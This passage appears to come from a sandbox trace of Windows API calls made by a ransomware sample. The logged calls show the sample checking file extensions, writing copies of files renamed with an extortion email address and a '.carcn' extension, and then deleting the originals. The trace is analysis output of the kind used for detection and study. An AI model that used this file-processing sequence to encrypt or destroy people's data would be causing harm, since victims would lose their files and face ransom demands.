(lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.031] lstrlenW (lpString=".zip") returned 4 [0161.031] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.031] lstrlenW (lpString=".rar") returned 4 [0161.031] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.031] lstrlenW (lpString=".bz2") returned 4 [0161.031] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.031] lstrlenW (lpString=".7z") returned 3 [0161.031] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.031] lstrlenW (lpString=".dbf") returned 4 [0161.031] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.031] lstrlenW (lpString=".1cd") returned 4 [0161.032] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.032] lstrlenW (lpString=".jpg") returned 4 [0161.032] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.032] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.032] lstrlenW (lpString="eula.rtf") returned 8 [0161.032] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.033] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3643) returned 1 [0161.033] CloseHandle (hObject=0x314) returned 1 [0161.033] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0161.033] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.033] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.033] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.033] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.033] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0161.033] GetLastError () returned 0x0 [0161.033] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xe3b, lpOverlapped=0x0) returned 1 [0161.059] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe40, lpOverlapped=0x0) returned 1 [0161.060] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.060] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.061] SetEndOfFile (hFile=0x304) returned 1 [0161.061] CloseHandle (hObject=0x304) returned 1 [0161.061] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.061] SetEndOfFile (hFile=0x314) returned 1 [0161.062] CloseHandle (hObject=0x314) returned 1 [0161.062] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.063] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0161.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.063] lstrlenW (lpString=".doc") returned 4 [0161.063] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.063] lstrlenW (lpString=".docx") returned 5 [0161.063] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.063] lstrlenW (lpString=".pdf") returned 4 [0161.063] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.063] lstrlenW (lpString=".xls") returned 4 [0161.063] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.063] lstrlenW (lpString=".xlsx") returned 5 [0161.063] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.063] lstrlenW (lpString=".ppt") returned 4 [0161.063] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.063] lstrlenW (lpString=".zip") returned 4 [0161.064] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.064] lstrlenW (lpString=".rar") returned 4 [0161.064] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.064] lstrlenW (lpString=".bz2") returned 4 [0161.064] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.064] lstrlenW (lpString=".7z") returned 3 [0161.064] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.064] lstrlenW (lpString=".dbf") returned 4 [0161.064] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.064] lstrlenW (lpString=".1cd") returned 4 [0161.064] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.064] lstrlenW (lpString=".jpg") returned 4 [0161.064] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.064] lstrlenW (lpString=".doc") returned 4 [0161.064] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.064] lstrlenW (lpString=".docx") returned 5 [0161.064] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.064] lstrlenW (lpString=".pdf") returned 4 [0161.064] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.064] lstrlenW (lpString=".xls") returned 4 [0161.064] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.065] lstrlenW (lpString=".xlsx") returned 5 [0161.065] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.065] lstrlenW (lpString=".ppt") returned 4 [0161.065] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.065] lstrlenW (lpString=".zip") returned 4 [0161.065] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.065] lstrlenW (lpString=".rar") returned 4 [0161.065] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.065] lstrlenW (lpString=".bz2") returned 4 [0161.065] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.065] lstrlenW (lpString=".7z") returned 3 [0161.065] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.065] lstrlenW (lpString=".dbf") returned 4 [0161.065] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.065] lstrlenW (lpString=".1cd") returned 4 [0161.065] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0161.065] lstrlenW (lpString=".jpg") returned 4 [0161.065] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.065] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.066] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.066] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.066] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=68226) returned 1 [0161.066] CloseHandle (hObject=0x314) returned 1 [0161.066] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0161.066] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.066] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.066] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.066] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.067] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0161.067] GetLastError () returned 0x0 [0161.067] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x10a82, lpOverlapped=0x0) returned 1 [0161.234] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x10a90, lpOverlapped=0x0) returned 1 [0161.235] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.235] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.236] SetEndOfFile (hFile=0x304) returned 1 [0161.236] CloseHandle (hObject=0x304) returned 1 [0161.237] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.237] SetEndOfFile (hFile=0x314) returned 1 [0161.238] CloseHandle (hObject=0x314) returned 1 [0161.238] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.239] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0161.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.239] lstrlenW (lpString=".doc") returned 4 [0161.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.239] lstrlenW (lpString=".docx") returned 5 [0161.239] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.239] lstrlenW (lpString=".pdf") returned 4 [0161.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.239] lstrlenW (lpString=".xls") returned 4 [0161.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.239] lstrlenW (lpString=".xlsx") returned 5 [0161.239] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.239] lstrlenW (lpString=".ppt") returned 4 [0161.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.239] lstrlenW (lpString=".zip") returned 4 [0161.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.239] lstrlenW (lpString=".rar") returned 4 [0161.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.239] lstrlenW (lpString=".bz2") returned 4 [0161.240] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString=".7z") returned 3 [0161.240] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.240] lstrlenW (lpString=".dbf") returned 4 [0161.240] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.240] lstrlenW (lpString=".1cd") returned 4 [0161.240] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.240] lstrlenW (lpString=".jpg") returned 4 [0161.240] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.240] lstrlenW (lpString=".doc") returned 4 [0161.240] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString=".docx") returned 5 [0161.240] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.240] lstrlenW (lpString=".pdf") returned 4 [0161.240] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString=".xls") returned 4 [0161.240] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString=".xlsx") returned 5 [0161.240] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.240] lstrlenW (lpString=".ppt") returned 4 [0161.240] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.240] lstrlenW (lpString=".zip") returned 4 [0161.240] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.240] lstrlenW (lpString=".rar") returned 4 [0161.240] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString=".bz2") returned 4 [0161.240] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.240] lstrlenW (lpString=".7z") returned 3 [0161.241] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.241] lstrlenW (lpString=".dbf") returned 4 [0161.241] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.241] lstrlenW (lpString=".1cd") returned 4 [0161.241] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0161.241] lstrlenW (lpString=".jpg") returned 4 [0161.241] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.241] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.241] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.241] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.242] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=79634) returned 1 [0161.242] CloseHandle (hObject=0x388) returned 1 [0161.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0161.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.243] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.243] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.245] GetLastError () returned 0x0 [0161.245] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x13712, lpOverlapped=0x0) returned 1 [0161.304] WriteFile (in: hFile=0x2d4, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x13720, lpOverlapped=0x0) returned 1 [0161.306] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.306] WriteFile (in: hFile=0x2d4, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.306] SetEndOfFile (hFile=0x2d4) returned 1 [0161.306] CloseHandle (hObject=0x2d4) returned 1 [0161.308] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.308] SetEndOfFile (hFile=0x314) returned 1 [0161.321] CloseHandle (hObject=0x314) returned 1 [0161.321] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.321] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0161.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.321] lstrlenW (lpString=".doc") returned 4 [0161.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.321] lstrlenW (lpString=".docx") returned 5 [0161.321] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.321] lstrlenW (lpString=".pdf") returned 4 [0161.322] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString=".xls") returned 4 [0161.322] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString=".xlsx") returned 5 [0161.322] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.322] lstrlenW (lpString=".ppt") returned 4 [0161.322] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.322] lstrlenW (lpString=".zip") returned 4 [0161.322] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.322] lstrlenW (lpString=".rar") returned 4 [0161.322] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString=".bz2") returned 4 [0161.322] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString=".7z") returned 3 [0161.322] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.322] lstrlenW (lpString=".dbf") returned 4 [0161.322] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.322] lstrlenW (lpString=".1cd") returned 4 [0161.322] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.322] lstrlenW (lpString=".jpg") returned 4 [0161.322] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.322] lstrlenW (lpString=".doc") returned 4 [0161.322] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString=".docx") returned 5 [0161.322] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.322] lstrlenW (lpString=".pdf") returned 4 [0161.322] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.322] lstrlenW (lpString=".xls") returned 4 [0161.323] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.323] lstrlenW (lpString=".xlsx") returned 5 [0161.323] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.323] lstrlenW (lpString=".ppt") returned 4 [0161.323] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.323] lstrlenW (lpString=".zip") returned 4 [0161.323] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.323] lstrlenW (lpString=".rar") returned 4 [0161.323] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.323] lstrlenW (lpString=".bz2") returned 4 [0161.323] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.323] lstrlenW (lpString=".7z") returned 3 [0161.323] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.323] lstrlenW (lpString=".dbf") returned 4 [0161.323] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.323] lstrlenW (lpString=".1cd") returned 4 [0161.323] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0161.323] lstrlenW (lpString=".jpg") returned 4 [0161.323] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.323] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.323] lstrlenW (lpString="eula.rtf") returned 8 [0161.323] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.324] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3046) returned 1 [0161.324] CloseHandle (hObject=0x314) returned 1 [0161.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0161.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.324] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.324] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 